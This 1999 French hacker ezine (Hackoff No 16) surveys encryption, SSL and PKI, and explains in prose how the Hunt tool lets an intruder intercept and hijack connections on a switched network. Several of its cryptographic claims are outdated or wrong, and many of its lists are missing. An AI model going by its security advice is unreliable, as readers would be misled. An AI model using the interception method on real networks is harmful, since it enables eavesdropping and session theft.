14.07.99 - H@CKOFF No16 - * Cryptus-securito * - °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø _/ _/ _/_/ _/_/_/ _/ _/ _/_/ _/_/_/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ / _/ _/ _/ _/ _/_/_/ _/ _/ _/_/ _/ _/ °º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø _________________________________________________________________________ / \ / Bienvenue dans ce Hackoff No 16 Cryptus edition. (sous le signe de la | / savate absolument!). Au sommaire de ce numero 16 on vous propose un txt / | sur les echanges securises, de la crypto, du hack sur les switches, les / \ bugs de CGI, et comment piquer un UIN sur ICQ grace a linux. / \________________________________________ ______________________________/ \ | \| __________ .,:;>The Crew<;:,. / .Silk. \ / .Tobozo. \ ____________________________________/ ..Yopyop.. \_____________________________ ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/ ..Sniffdoz.. \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/ ....Blured.... \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ / .....Misto!..... \ / ........NK........ \ ----8<----+-----8<--------8<-------\---8<--+-------8<--- /___________....___________\ ____________________________________________________________ __________ / TabLe des mAtières : \ / HACK0ff \ |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯| ]-=v0L 16=-[ | [1]Disclaimer Tobozo | \Juillet 99/ | [2]Les echanges securises sur le net Sniffdoz | ¯¯¯¯¯¯¯¯¯¯ | [3]Comment hacker un switch Sniffdoz | | [4]PKI (cryptologie) Sniffdoz | | [5]Cgi et bugs Yopyop | | [6]ICQ password Tobozo&Yopyop | | | ---------8<------+--------------8<---------------------8<---------------------8<- ¦ : . _ _______________________ _ -*1*- `^°*;:,.> Ð ï $ © £ Å ï M Ê ® <.,:;*°^` _____________________________/¯¯¯¯¯¯¯By Tobozo¯¯¯¯¯¯¯\___________________________
L'acces a ce document impose la lecture de ce (petit) disclaimer : |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
function Edito() |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _ -*2*- `^°*;:,.> Les echanges securises sur le net <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯By Sniffdoz¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
Introduction aux échanges sécurisés sur l'Internet
Le but de la sécurité des échanges est d'assurer la confidentialité, lorsque cela est nécessaire et légal, ainsi que l'identification et l'authentification des messages échangés. Les travaux sur ces domaines sont extrêmement importants, compte tenu des enjeux représentés par le commerce électronique et il est probable que les retombées de ces travaux concerneront toutes les entreprises dans leur objectif de protection contre les intrusions et le piratage. 2 PRÉSENTATION DU SCELLEMENT ET CHIFFREMENT      2.1 Les technologies de chiffrementLe chiffrement consiste à transformer un message clair en un message incompréhensible sans la connaissance d'un secret. Les technologies de chiffrement se classent en deux catégories :
Les technologies de chiffrement à clés privéess permettent le chiffrement / déchiffrement d'un message à l'aide d'une même clé, connue des deux interlocuteurs. Ces techniques algorithmiques sont très connues depuis de nombreuses années. La plus célèbre est l'algorithme DES (1974). Internet utilise fortement les algorithmes RC2, RC4 ou RC5. Les avantages de ces méthodes sont leur très grande performance, ainsi que leur relative simplicité permettant de les implémenter dans des cartes à microprocesseur.Les inconvénients de ces méthodes résident dans l'obligation de s'échanger au préalable les clés utilisées, au travers d'un canal que l'on souhaite bien évidemment sûr. Les technologies de chiffrement à clés publiques s'appuient sur un couple de clés (Kpri,Kpub) corrélées. L'une de ces clés est considérée comme publique, l'autre est conservée comme privée. La connaissance de la clé publique est supposée (à juste titre jusqu'ici) ne pas permettre la découverte de la clé privée (corrélation mathématique). Ces deux clés sont symétriques et l'une d'elle peut être utilisée pour le chiffrement, l'autre pour le déchiffrement. L'usage habituel est bien sûr d'utiliser Kpub du correspondant pour lui envoyer un message chiffré que lui seul (en possession de la clé Kpriv correspondante) peut alors déchiffrer. L'avantage de cette méthode est à l'évidence sa très grande souplesse quant à l'échange de clés (pas de besoin de canal sûr). L'inconvénient le plus connu de ces techniques est leur relative lourdeur les rendant peu aptes à être utilisées pour du chiffrement en ligne. L'algorithme le plus connu est RSA (du nom de ses inventeurs Rivest Shamir et Adleman). Une approche de plus en plus commune consiste à utiliser RSA (ou ses dérivés) pour négocier une clé privée de session qui sera utilisée pour un DES ou RC2 au cours des échanges qui suivent. Cette approche cumule les avantages des deux technologies et en évite les inconvénients
Le scellement et la signature consistent à adjoindre à un message une chaîne complémentaire calculée à partir du message et appuyée sur l'usage d'une clé de chiffrement. Cette technique a pour objectif de garantir qu'un tiers non impliqué n'a pu ni fabriquer le message (concept de signature garantissant l'authenticité), ni l'altérer (concept d'intégrité). La technique utilisée est en général très simple :
3. PRÉCONISATIONS EN MATIÈRE DE CHIFFREMENT ET DE SCELLEMENTLe but de ce paragraphe est de présenter les standards et les recommandations de mise en œuvre.
Le DES (Data Encryption Standard)Le DES est certainement l'un des algorithmes à clé privée les plus utilisés, son origine remonte à 1974, il est d'origine IBM, mais a souffert d'une implication de la NSA (National Security Agency) qui fît naître une polémique quant à une backdoor éventuelle. Techniquement, le DES travaille sur des blocs de texte clair de 64 bits qu'il divise en 2 fois 32 bits, qui sont ensuite permutés et substitués selon un mécanisme identique (ronde) 16 fois de suite. Chaque bloc de texte clair ressort après son traitement en un bloc de longueur équivalente chiffré. Le DES utilise une clé de chiffrement de 64 bits, dont en réalité seulement 56 sont effectifs, les autres étant des bits de parité. Tout nombre de 56 bits peut donc être utilisé, a chaque itération du processus, les bits de la clé sont décalés. Le déchiffrement du texte suit exactement la même logique en inversant simplement l'ordre d'utilisation des clés. La sécurité du DES : Malgré de nombreux démentis, émanant de la NSA et des créateurs du DES, des doutes subsistent quant à sa robustesse (faiblesse de certaines clés, constitution ésotérique des tables-S, nombre de rondes insuffisant). Pour autant les cryptanalyses différentielles, linéaires ou encore à clés corrélées n'ont pas démontré de faiblesse notoire, l'attaque par force brute restant la plus efficace. Le coût d'une machine destinée à casser le DES par attaque exhaustive était estimé en 1987 à moins 10 Millions de $, La rumeur dit que la NSA peut casser un DES en 15 minutes maximum avec une machine estimée à 50 000$. .(ce qui au passage montre que les estimations faites 10 ans plus tôt étaient surévaluées).
Pendant longtemps, vu que la NSA (l'agence de sécurité nationale amércaines, encore plus secrete que la CIA) était intervenue dans la conception de l'algorithme,
on a pensait qu'il pouvait présenter un trou de sécurité, notamment dans les huit tables de substitution qui n'ont jamais était justifiées ni par IBM ni par la NSA.
Si un tel trou de sécurité avait existé, il aurait permis à la NSA de décrypter aisement tous les messages codés par le DES sans que personne ne le sache.
Afin d'améliorer la sécurité du DES, plusieurs variantes ont été mises au point, la plus repandue est le DES triple, qui consiste à chiffrer
le message clair avec une première clef, puis à appliquer l'algorithme à ce premier texte crypté en mode dechiffrement avec une deuxième clef et enfin à chiffrer à nouveau le résultat avec la première clef.
Cette méthode permet de simuler une clef de 112 bits. La solution actuellement envisagée consiste à définir un nouvelle algorithme, dénommé AES (Advanced Encryption Standard)
et s'appuyant sur des clefs de 128 bits. Le DES reste un algorithme suffisant pour garantir la confidentialité des mots de passe dans le cadre d'une exploitation informatique (UNIX, MVS, NT), mais que la sécurité des échanges en environnement ouvert et non sûr, ne doit pas reposer uniquement sur lui. C'est d'ailleurs dans ce sens qu'il faut interpréter l'annonce périodique et à chaque fois repoussée de son remplacement (il est en effet massivement mis en œuvre).
IDEAIDEA est un algorithme récent qui date de 1990. Il manipule des blocs de données de 64 bits et utilise une clé de chiffrement de 128 bits. Le même algorithme est utilisé pour les déchiffrements. Chaque bloc est divisé en 4 blocs de 16 bits qui sont additionnés, multipliés, combinés par des ou exclusifs, entre eux et avec 6 sous blocs de 16 bits dérivés de la clé de chiffrement. Ces opérations sont effectuées 8 fois. IDEA n'a pas été encore cryptanalysé , cet algorithme est actuellement hors de portée des processeurs du marché.
RC2 - RC4 - RC5Tous trois sont d'origine RSA Data Security Inc, ils utilisent des clés privées de tailles variables. Ces algorithmes sont privés et leur spécifications n'ont jamais été publiées. RC2 a été vendu comme l'un des remplaçants du DES, il utilise des blocs de 64 bits, RC4 est un algorithme de chiffrement continu , tous trois sont prétendus plus rapides que les DES, et n'ont à ce jour pas été cassés. RC5 est un algorithme de chiffrement par blocs avec de nombreux paramètres : taille des blocs, taille de la clé, et nombre de rondes. Des études ont semble-t-il montré que RC5 est sûr après 6 rondes, néanmoins RSADSI recommande d'en utiliser au moins 12. Netscape (v3.0 minimum) utilise 2 ces algorithmes pour des communications sur des sites sécurisés (https), en plus de l'algorithme RSA à clés publiques RSA
Le RSA est le cryptage à clé publique le plus connu, pour le chiffrement et l'authentification. Trois mathématicien du noms de Ron Rivest, Adi Shamir et Len Adleman ont décidé de réinventer
totalement le principe du chiffrement dans les années 70. Le résultat sera la publication du RSA en 1977. Dans son principe ce n'est plus à l'expéditeur mais au destinataire
qu'il incombe de créer la clé de cryptage. Il en crée à présent deux : une qu'il conserve et ne dois pas être divulguée (clé privée) et une clé publique qu'il pourrait distribuer La puissance du cryptage RSA est basée sur la difficulté de factoriser un grand entier. Dans son fonctionnement l'operation retenu pour le RSA s'apelle modulo. Celui ci désigne le reste de la division euclidienne d'un entier par un autre. L'idée se résume à crypter un message en effectuant l'opération avec l'un des deux facteurs de ce produit (clé publique) et de le decrypter en accomplissant l'opération inverse, à l'aide de l'autre facteur (clé privée). Pour que cette condition puisse fonctionner, il y a une condition fondamentale, il faut choisir des nombre entier très élévée. Il n'existe aucun formule pour factoriser un nombre entier La seule possibilité de decryptage est d'essayer la formule avec tous les entiers. le calcul d'une puissance modulo N est à la portée de tout ordinateur, ou même d'une calculatrice de poche programmable. Pour le moment, la sécurité du cryptage RSA repose sur la puissance des ordinateurs et sur les connaissances en arithmétique. Tout progrès dans un domaine comme dans l'autre peut obliger à allonger la clef. Il apparaît en effet aujourd'hui indispensable de crypter avec une largeur de clé d'au moins 256 bits. Pour plus de sécurité, 512 bits sont recommandés Il faut ainsi près de deux cent ans pour découvrir la valeur de 2 facteurs premiers d'un nombre écrit avec 2^128.
DH
DSS
MD2-MD4-MD5MD5 est une fonction de hachage à sens unique conçue par Ron Rivest (Le R de RSA). MD signifie Message Digest, et 5 et la version de l'algorithme. Il produit des empreintes 128 bits, en manipulant le texte d'entrée par blocs de 512 bits. Il utilise autant de blocs de 512 bits qu'il y en a dans le texte à traiter. Si le texte n'est pas multiple de 512 bits, MD5 complète avec une chaîne bien définie. Chaque bloc subit 4 rondes, chaque ronde étant fonction des rondes précédentes sur les blocs précédents. MD5 n'est basé sur aucune hypothèse, telle la difficulté de la factorisation, mais semble très résistant à la cryptanalyse. Bert Den Boer et Antoon Bosselaers ont démontré une faiblesse d'une des fonctions internes de la ronde de l'algorithme, avec des collisions de fonctions de compressions (collision signifie que 2 résultats d'entrée différents, donne un même résultat de sortie). Cela ne compromet en rien la sécurité pratique de MD5 en entier.
SHALe meilleur algorithme de hachage est le SHA " Secure Hash Algorithme " pour le standard appelé SHS " Secure Hash Standart ", élaboré par la NSA. Il est censé être utilisé à chaque fois qu'un algorithme sûr de hachage est requis pour des applications fédérales, notamment avec DSS. " Digital Signature Standart ". SHA est calqué sur le donctionnement de MD-4, avec une empreinte 160 bits, donc 1 chance sur 2^160 = 1.5*10^48 d'avoir une collision. Le SHA (Secure Hash Algorithm) est issu de l'Institut national des standards et de la technologie américain ainsi que de l'agence nationale de sécurité (NSA). Ce standard prend des fichiers de tailles variables en entrée, et en produit une empreinte de 160 bits (plus long que MD5), pour cela il utilise 5 variables initialisées, il prend ensuite dans la boucle principale des blocs de 512 bits en continu. La boucle principale comprend 4 rondes (ie une substitution suivie d'une permutation) de 20 opérations chacune. SHA ressemble à MD4 et MD5, il se distingue par une ronde supplémentaire, un mélange de bits amélioré Ainsi qu'un meilleur effet d'avalanche (chaque étape utilise en cascade le résultat de l'étape précedente). Il n'y a pas d'attaque cryptographique connue contre SHA, et il semble plus robuste que ses pairs (empreinte de 160 bits). Le code d'authentification de CAM (MAC)Le code d'authentification de messages est en fait un algorithme de hachage qui utilise en plus une clé privée nécessaire à la vérification de l'empreinte, cette clé étant elle même utilisée dans la génération du digest. Par exemple le RIPE-MAC utilise le DES, le RIPE-MAC3 utilisant quant à lui le triple DES. Les deux algorithmes composent des blocs de 64 bits. Une fonction de compression est alors utilisée pour haché ces différents blocs en un seul bloc de 64 bits( au moyen d'une clé) privée. Le bloc obtenu est enfin chiffré par une autre clé dérivé de lé clé privée de compression.
L'idée actuellement poursuivie consiste à permettre à chacun de fournir sa clé publique à son correspondant au sein du message lui-même ou au travers de sites publiques non particulièrement sécurisés !. Cependant, cette méthode ne garantit plus réellement l'intégrité ni la signature puisqu'un tiers malveillant, intervenant sur le message, peut parfaitement fournir sa propre clé publique. Les travaux en cours conduisent donc à fournir une clé publique certifiée : il s'agit en fait de constituer un message composé de l'identité de l'émetteur et de sa clé publique, le tout signé (MD5 + chiffrement RSA) par un organisme tiers dont la clé publique est censée être connue du destinataire. Bien sûr, ceci ne fait que repousser le problème, puisqu'il faut alors connaître la clé publique de l'organisme certifieur. En fait, le problème est considérablement réduit car un très grand nombre de clés publiques peuvent être certifiées par le même organisme. Cette technique peut d'ailleurs être prolongée : l'organisme certifieur peut éventuellement fournir lui-même sa clé publique au travers d'un certificat scellé par un organisme certifieur " supérieur ". Il est ainsi possible d'envisager des chaînes de certificats. A l'heure actuelle, les browsers (navigateurs) du marché sont livrés avec la connaissance intégrée des clés publiques d'une dizaine d'organismes certifieurs. Cette architecture de certificats est très importante dans le cadre des travaux sur le commerce électronique et appelle de nombreuses réflexions et développements :
Aucun mécanisme satisfaisant n'existe pour traiter ces problèmes, mais deux voies semblent crédibles :
Cette certification sera faite par une tierce partie : le " Certification Authority " (CA), qui signe le certificat. Les propriétés d'un certificat X509 sont essentiellement les suivantes :
Fort de ce constat (in falsification), les certificats peuvent être publiés/édités dans un annuaire, par exemple de type X500, sans nécessiter de protection particulière.
4.2.1. Contenu du certificat X.509
Le certificat X.509 est une chaîne d'octets codés en ASN.1 contenant :
Toutes les autres clés publiques sont stockées dans le Directory X.500 en tant que certificats X.509. Chaque application qui requiert un certificat doit vérifier la signature sur le certificat en utilisant la clé publique du CA avant d'utiliser la clé.
5.1. SSL5.1.1. ActeurLe protocole SSL (Secure Sockets Layer), dont les spécifications sont publiées sur Internet et par l'IETF, est d'origine Netscape. Il est adopté par les principaux producteurs de logiciels et de matériels, les institutions financières et les autorités de certification. SSL est installé dans environ 75 % des logiciels de navigation Internet. SSL est un standard reconnu dont l'usage est fortement conseillé dans le cadre d'applications WEB Intranet ou Internet.5.1.2. Principes techniquesLe protocole SSL sécurise les communications entre une application cliente et une application serveur. Il s'appuie sur la couche TCP. L'avantage de SSL réside dans son indépendance vis à vis des applications de plus haut niveau : FTP, HTTP, Telnet ...Les objectifs du protocole SSL (SSL Protocol v3.0) par ordre de priorité sont :
Il utilise les quatre propriétés de base suivantes :
Le protocole SSL permet d'établir un tunnel, rendu privé grâce à des mécanismes de chiffrement. SSL intègre une optimisation de la mémoire cache, en particulier pour les opérations sur les clés publiques, ce qui réduit le nombre de connexions et augmente la rapidité dans les opérations de chiffrement. L'établissement d'une connexion passe par trois étapes :
Relation entre SSL, TCP/IP et la couche applicative
Le mécanisme d'établissement d'une connexion sécurisée dans le cas où le client n'a jamais communiqué avec le serveur et où l'authentification du client n'est pas requise est le suivant :
" Handshake " du protocole SSL dans le cas où l'authentification du client n'est pas demandée. L'établissement d'une session SSL nécessite un nombre de communications significatif, et deux calculs RSA 512 bits au niveau du client (vérification du certificat serveur, et chiffrement de la clé maître). Sur une même session il est possible d'établir plusieurs connexions, puisqu il y a établissement d'une connexion pour chaque URL sécurisée demandée par le client. Dans ce cas la valeur de l'identificateur de session sera instanciée (non nulle contrairement à l'initialisation) et mémorisée dans un cache serveur de manière paramétrable. Dans l'option où l'authentification du client est requise, les échanges entre le client et le serveur continuent jusqu'à l'obtention du certificat du client. Si le client et le serveur ont déjà établi une session, le client a gardé un identifiant de session. Le client le communique au serveur lors du premier message, le " CLIENT-HELLO ". Si le serveur a également conservé une trace de la communication avec ce client, les clés de lecture-écriture des deux parties sont générées à partir du souvenir de la clé symétrique échangée lors de la dernière connexion. Dans ce cas les deux extrémités calculent un nouveau jeu de secrets pour la nouvelle connexion à partir de la clé maître de la session et des aléas échangés pour la connexion. Cette cinématique est plus rapide puisqu'elle ne nécessite aucun calcul RSA. Les mécanismes de chiffrement et de signature mis en œuvre pour protéger la phase de transfert de données utilisent un jeu de six secrets, calculés à partir de la clé maître de la session. Ce calcul de diversification de la clé maître est réalisé à l'établissement de chaque connexion de la session SSL.
Ces six valeurs sont calculées à partir de la clé maître et des deux aléas échangés lors de la phase initiale, et sont valables uniquement pour la connexion en cours. Lorsque HTTP est utilisé au dessus de SSL, l'ensemble est désigné sous le terme de HTTPs, à ne pas confondre avec S-HTTP développé par IET (Integration Enterprise Technologies). Le chiffrement des données s'effectue à l'issue des négociations (qui sont elles même chiffrées). Les algorithmes qui peuvent être utilisés (dans la version 3 de SSL) sont :
5.1.4. Comparaison entre SSL V3 et SSL V2Les avantages de SSL V3 portent sur les points suivants :
5.1.5. Compatibilité V2/V3 :
5.1.6. SSL et les FirewallsSSL a été conçu pour sécuriser les échanges entre un client et un serveur au travers d'un réseau non sûr. En autre, son but est d'éviter les " man-in-the-middle attacks " ou attaque en coupure par intervention d'un intrus au milieu des échanges sécurisés (attaque en coupure de flux). Ainsi, dans une architecture mettant en jeu un bastion, il est impossible de relayer applicativement (proxy) les flux dans le but de les traiter par un garde-barrière. SSL considère en effet un proxy comme un intrus dans les échanges. La seule solution est d'utiliser la fonctionnalité de filtrage de paquet (contextuel) au niveau du firewall, en réservant un port autorisé pour les services de type SSL+HTTP ou SSL+NNTP (respectivement 443 et 563 ). L'idée étant d'autoriser sans restriction (et si possible uniquement) l'établissement de communication sur ces ports. Le risque résiduel dans ce type d'approche réside dans le fait qu'un pirate peut construire une attaque en utilisant des ports reconnus par le firewall, sans utiliser SSL, et sans que celui-ci s'en rende compte.A titre d'information, le tableau ci-dessous reprend les différentes applications possibles de SSL.
Le certificat est donc une attestation que les informations qu'il contient sont exactes. Pour cela, le certificat doit être généré par un tiers de confiance, c'est-à-dire un organisme indépendant qui contrôle la véracité de ces informations. Le CA (Certifying Authority, autrement dit l'organisme certificateur) donne la crédibilité au certificat ; les utilisateurs du certificat en vérifieront la signature et auront confiance en ce certificat si eux même ont confiance en le CA. Il existe typiquement deux types de certificats utilisés avec SSL :
Certificat pour serveurProcédure d'obtention d'un certificat pour un serveur: Avant de chercher à obtenir un certificat pour un serveur, diverses vérifications sont nécessaires. Tout d'abord vérifiez que vous avez un serveur Web qui supporte SSL. Après avoir installé votre serveur Web SSL, vous devrez utiliser une fonction de ce serveur pour générer une demande de certificat (CSR, Certificate Signing Request). Recherchez la section détaillant cette opération dans l'aide de votre logiciel. Lors de la demande de certificat vous allez générer une clé privée. Dès que cette clé est générée, faites en une copie de sauvegarde et protégez là très sérieusement. Si cette clé tombe entre de mauvaises main votre sécurité est en danger et il faudra révoquer votre clé publique. Lors de la génération de CSR, un certain nombre de champs vous seront proposés pour y saisir les informations. Attention, le champ "Common Name" (si présenté par votre logiciel) doit contenir l'adresse FQDN de votre serveur Web (par exemple, www.entreprise.com ou secure.entreprise.com); Les adresses IP sont refusées. Une fois la demande de certificat générée, il ne nous reste plus qu'à choisir le CA (tiers certificateur). Si votre serveur doit être acceptable par n'importe quel utilisateur d'Internet vous devez choisir un CA reconnu mondialement. Si votre serveur est destiné à un intranet, alors vous pouvez soit générer votre certificat en le signant vous-même, soit devenir votre propre CA.
Certificat pour client
Un certificat client est un certificat qui identifie l'utilisateur d'un navigateur Web, et qui a vocation à identifier avec certitude un unique individu. Ce certificat est basé sur une clef publique/privée qui est stockée par le navigateur (à l'avenir, cette clef sera probablement sur carte à puce). De la même façon qu'un certificat pour serveur n'a pas de sens tant qu'il n'est pas authentifié par un tiers, le certificat client à besoin d'être signé.
Les caractéristiques de S-HTTP sont :
5.4.2. Mécanisme généralLe client HTTP se connecte sur la " Home Page " d'un serveur HTTP. Sur cette " Home page ", des liens hypertextes possèdent des tags indiquant une méthode cryptographique à utiliser pour le lien en question. Le client qui clique sur ce lien hypertexte compare ses options de chiffrement avec celles spécifiées dans le lien. S'il n'y a pas de concordance, la requête vers ce lien n'est pas transmise au serveur. Dans le cas contraire la requête est transmise au serveur. Le client ajoute ses options de chiffrement dans cette requête. Le serveur reçoit la requête et vérifie les options de chiffrements du client et envoie le document au client.
Il existe en effet une option négociation qui permet aux clients et aux serveurs de se mettre d'accord sur les modes transactionnels, à savoir :
Kerberos
5.4.10. SynthèseAvantages
PCT est la technologie proposée par Microsoft pour assurer la sécurité des communications privées. PCT est très proche de SSL. La version 1 de PCT corrige un certain nombre de faiblesses de SSL, notamment dans l'efficacité des techniques d'authentification. PCT sépare les techniques de chiffrement des techniques d'authentification, ce qui permet aux applications d'utiliser des clés de plus de 40 bits pour l'authentification. En conséquence, PCTRef (nom du logiciel qui implémente PCT) n'est disponible que sur le territoire américain et au Canada. Ce protocole se situe entre la couche transport et la couche applicative. De ce fait, ceci le rend transparent pour les applications Internet. Techniquement, il est complètement comparable à SSL (positionnement, objectifs, architecture, etc.). La résistance attendue de PCT au piratage est annoncée comme allant au-delà de celle de SSL. PCT permet aux applications d'utiliser une méthode d'authentification avec un algorithme supérieur à 40 bits.
Complément d'informations sur PCTRef http://pct.microsoft.com/pct/pctref1.html L'inconvénient majeur est semble-t-il l'abandon quasi officiel de Microsoft sur ce projet, actuellement seul Netmanage implémente PCT. Dans l'état actuel, ce produit ne peut être retenu comme standard.
Il est toutefois important de noter que les spécifications de TLS sont strictement identiques (à quelques exceptions près) aux spécifications de SSL V3 (à tel point que le draft remis à l'IETF (en décembre 1996) a été réalisé par Netscape et qu'il reprend pratiquement mot pour mot le document SSL).
|
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ _______________________________________ _ -*3*- `^°*;:,.> Comment hacker un switch -sniffdoz- <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
Dans l'article sur les sniffeurs, j'expliquais qu'une des parade contre le sniff était de virer les hubs et d'utiliser un switch dans les interconnexions réseaux.
Retour au source Dans le principe sur un switch chaque connexion (prise) est liée à une adresse MAC, l'allocation prise/adresse MAC se fait soit de facon dynamique, ce système est géré par le switch, soit en statique, ou l'administrateur écrit en dur dans le switch les correspondances.
L'attaque du train postal
Comment ça marche ? Hunt permet à l'intrus de se transformer en relais, une fois le paquets dérouté vers l'intrus il le reroute vers le destinataire original, si c'est pas beau la technologie. Le switch devient un simple hub au travers de HUNT. Evidemment un telle attaque demande de connaitre les adresses MAC des personnes connectées au switch (si vous connaissez l'IP une petit commande ARP va nous permettre de découvrir son adresse MAC) La ParadeD'après les tests effectués, cela concerne les switch mal administrés, pour les switch ayant une table statique (écrite en dur par l'administrateur) cela n'a pas l'air de fonctionner, la plupart des administrateurs laissent leur switch gérer dynamiquement l'allocation prise/MAC, cela nous laisse de la marge. L'apparition du VLAN modifie un peu cette vision, puisque l'administrateur agit en direct sur le switch pour créer des groupes d'adresses MAC ou IP... Pour l'instant ce produit n'est pas encore très diffusé... La seule sécurité possible reste le cryptage de l'information (PKI, RSA, blabla...) Hunt en profondeurD'après son auteur : c'est un programme permettant de s'introduire dans une connexion, de la surveiller et d'en prendre le controle. La dernière version est la 1.3 (pour Linux seulement), permettant de surveiller les connexion en cours sur le meme sous-réseau.
Vous pourrez télécharger Hunt1.3, sur le site de Pavel Krautz
Lexique : Hub : boitier qui concentre un ensemble d'ordinateur, il effectue la concentration et la retransmission des messages qu'il recoit d'un emetteur vers l'ensemble des destinataires connectés au hub. Switch : boitier qui concentre un ensemble d'ordinateur, effectue la concentration et la retransmission des messages qu'il recoit d'un emetteur vers un destinataire précis. (selection par l'adresse MAC)
|
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ _______________________________________ _ -*4*- `^°*;:,.> PKI -cryptologie- By Sniffdoz <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
L'évolution d'une nouvelle culture globale d'échanges et de gestion de réseau d'information électronique a signifié que des compagnies sont confrontées à une plus grande probabilité d'être une victime de fraude, sniff d'email, vol de données aussi bien que la corruption involontaire des fichiers par les employés non autorisés. l'infrastructure de clé publique (PKI) est la combinaison de logiciels, de technologies de chiffrement, et de services qui permettent à des entreprises de protéger leurs transmissions et transactions sur l'Internet. Principe : Une clé publique est une valeur fournie a une autorité indiquée comme clé dite sure (RSA, DES..), combinée avec une clé privée dérivée de la clé publique, et qui peut être employée pertinemment pour chiffrer et déchiffrer des messages et des signatures digitales. Dans la cryptographie, une clé est une valeur variable qui est appliquée en utilisant un algorithme a une chaîne de caractères ou à un bloc de texte non codé pour produire le texte chiffré. La longueur de la clé détermine généralement la difficulté à déchiffrer le texte dans un message donné. Le chiffrement est la conversion des données dans une forme, appelée un chiffre (cipher), qui ne peut pas être facilement compris par les personnes non autorisées. Le déchiffrage est le processus de convertir des données chiffrées de nouveau dans sa forme initiale, ainsi il peut être compris. Une signature digitale (a ne pas confondre avec un certificat digital) est une signature électronique écrite, qui peut être employée par quelqu'un pour authentifier l'identité de l'expéditeur d'un message ou du signataire d'un document. Il peut également être employe pour s'assurer que le contenu initial du message ou du document qui ont été donnés est inchangé. Les avantages supplémentaires à l'utilisation d'une signature digitale sont qu'elle sont facilement transportables, ne peuvent pas être facilement niées, ne peuvent pas être imitées par quelqu'un d'autre, et peuvent être automatiquement horodatées. L'utilisation des clés publiques et privées combinées est connue en tant que cryptographie asymétrique. Le système pour l'usage des clés publiques s'appelle une infrastructure à clé publique (PKI). Fonctionnement: Chaque utilisateur d'un cryptosysteme de clé publique possède une paire relative de clés. Un texte par exemple encodé avec une clé peut seulement être décodé par lui. Chaque utilisateur garde une clé secrete principale et édite l'autre. Ainsi d'autres peuvent utiliser la clé publique de l'utilisateur pour envoyer les messages que seul l'utilisateur peut lire, ou l'utilisateur " signe " son message avec sa clé privée d'authentification - les autres peuvent appliquer la clé publique de l'utilisateur pour vérifier que le message est venu de l'utilisateur. L'infrastructure de clé Publique (PKI) est la combinaison du logiciel, des technologies de chiffrement, et des services qui permettent à des entreprises de protéger la sécurité de leurs transmissions et transactions sur l'Internet. Les PKIs intègrent les certificats digitaux (CA), la cryptographie à clé publique, et les certificat d'autorités , dans l'ensemble de l'architecture de l'entreprise et sécurise le réseau. Le PKI d'une entreprise typique adresse à l'ensemble de l'établissement des certificats digitaux à différents utilisateurs et serveurs; avec logiciel d'inscription d'utilisateur; intégration avec les répertoires de corporation de certificat; outils pour contrôler, remplacer, et retirer des certificats; et services et support relatifs. |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ _______________________________________ _ -*5*- `^°*;:,.> Bug CGI-TEST(traduction Yopyop) <.,:;*°^` ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
